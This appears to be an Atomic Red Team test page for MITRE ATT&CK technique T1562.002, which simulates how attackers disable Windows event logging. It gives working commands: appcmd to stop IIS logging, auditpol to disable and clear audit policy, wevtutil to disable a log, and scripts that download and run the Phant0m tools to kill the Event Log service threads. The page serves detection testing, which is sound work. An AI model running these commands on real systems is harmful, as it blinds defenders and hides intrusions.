# T1562.002 - Disable Windows Event Logging
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1562/002)
<blockquote>Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.

Adversaries may targeting system-wide logging or just that of a particular application. By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.</blockquote>

## Atomic Tests

- [Atomic Test #1 - Disable Windows IIS HTTP Logging](#atomic-test-1---disable-windows-iis-http-logging)

- [Atomic Test #2 - Kill Event Log Service Threads](#atomic-test-2---kill-event-log-service-threads)

- [Atomic Test #3 - Impair Windows Audit Log Policy](#atomic-test-3---impair-windows-audit-log-policy)

- [Atomic Test #4 - Clear Windows Audit Policy Config](#atomic-test-4---clear-windows-audit-policy-config)

- [Atomic Test #5 - Disable Event Logging with wevtutil](#atomic-test-5---disable-event-logging-with-wevtutil)

- [Atomic Test #6 - Makes Eventlog blind with Phant0m](#atomic-test-6---makes-eventlog-blind-with-phant0m)


<br/>

## Atomic Test #1 - Disable Windows IIS HTTP Logging
Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union).
This action requires HTTP logging configurations in IIS to be unlocked.

Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)

**Supported Platforms:** Windows


**auto_generated_guid:** 69435dcf-c66f-4ec0-a8b1-82beb76b34db





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| website_name | The name of the website on a server | String | Default Web Site|


#### Attack Commands: Run with `powershell`! 


```powershell
C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:true
```

#### Cleanup Commands:
```powershell
if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){
  C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$null
}
```





<br/>
<br/>

## Atomic Test #2 - Kill Event Log Service Threads
Kill Windows Event Log Service Threads using Invoke-Phant0m. WARNING you will need to restart PC to return to normal state with Log Service. https://artofpwn.com/phant0m-killing-windows-event-log.html

**Supported Platforms:** Windows


**auto_generated_guid:** 41ac52ba-5d5e-40c0-b267-573ed90489bd






#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore
$url = "https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/f1396c411a867e1b471ef80c5c534466103440e0/Invoke-Phant0m.ps1"
$output = "$env:TEMP\Invoke-Phant0m.ps1"
$wc = New-Object System.Net.WebClient
$wc.DownloadFile($url, $output)
cd $env:TEMP
Import-Module .\Invoke-Phant0m.ps1
Invoke-Phant0m
```

#### Cleanup Commands:
```powershell
Write-Host "NEED TO Restart-Computer TO ENSURE LOGGING RETURNS" -fore red
Remove-Item "$env:TEMP\Invoke-Phant0m.ps1" -ErrorAction Ignore
```





<br/>
<br/>

## Atomic Test #3 - Impair Windows Audit Log Policy
Disables the windows audit policy to prevent key host based telemetry being written into the event logs.
[Solarigate example](https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/)

**Supported Platforms:** Windows


**auto_generated_guid:** 5102a3a7-e2d7-4129-9e45-f483f2e0eea8






#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
auditpol /set /category:"Account Logon" /success:disable /failure:disable
auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable
auditpol /set /category:"Detailed Tracking" /success:disable
```

#### Cleanup Commands:
```cmd
auditpol /set /category:"Account Logon" /success:enable /failure:enable
auditpol /set /category:"Detailed Tracking" /success:enable
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
```





<br/>
<br/>

## Atomic Test #4 - Clear Windows Audit Policy Config
Clear the Windows audit policy using auditpol utility. This action would stop certain audit events from being recorded in the security log.

**Supported Platforms:** Windows


**auto_generated_guid:** 913c0e4e-4b37-4b78-ad0b-90e7b25010f6






#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
auditpol /clear /y
auditpol /remove /allusers
```

#### Cleanup Commands:
```cmd
auditpol /set /category:"Account Logon" /success:enable /failure:enable
auditpol /set /category:"Detailed Tracking" /success:enable
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
```





<br/>
<br/>

## Atomic Test #5 - Disable Event Logging with wevtutil
Wevtutil can be used to disable logs. 
NOTE: RansomEXX ransomware uses this to disable Security logs post-encryption.

**Supported Platforms:** Windows


**auto_generated_guid:** b26a3340-dad7-4360-9176-706269c74103





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| log_name | Name of the log to be disabled | String | Microsoft-Windows-IKE/Operational|


#### Attack Commands: Run with `command_prompt`! 


```cmd
wevtutil sl "#{log_name}" /e:false
```

#### Cleanup Commands:
```cmd
wevtutil sl "#{log_name}" /e:true
```





<br/>
<br/>

## Atomic Test #6 - Makes Eventlog blind with Phant0m
Use [Phant0m](https://github.com/hlldz/Phant0m) to disable Eventlog

**Supported Platforms:** Windows


**auto_generated_guid:** 3ddf3d03-f5d6-462a-ad76-2c5ff7b6d741





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| file_name | exe version of Phant0m | Path | PathToAtomicsFolder&#92;T1562.002&#92;bin&#92;Phant0m.exe|


#### Attack Commands: Run with `command_prompt`! 


```cmd
PathToAtomicsFolder\T1562.002\bin\Phant0m.exe
```

#### Cleanup Commands:
```cmd
echo "Sorry you have to reboot"
```



#### Dependencies:  Run with `powershell`!
##### Description: Phant0m.exe must exist on disk at specified location (#{file_name})
##### Check Prereq Commands:
```powershell
if (Test-Path #{file_name}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1562.002/bin/Phant0m.exe" -OutFile "#{file_name}" -UseBasicParsing
```




<br/>
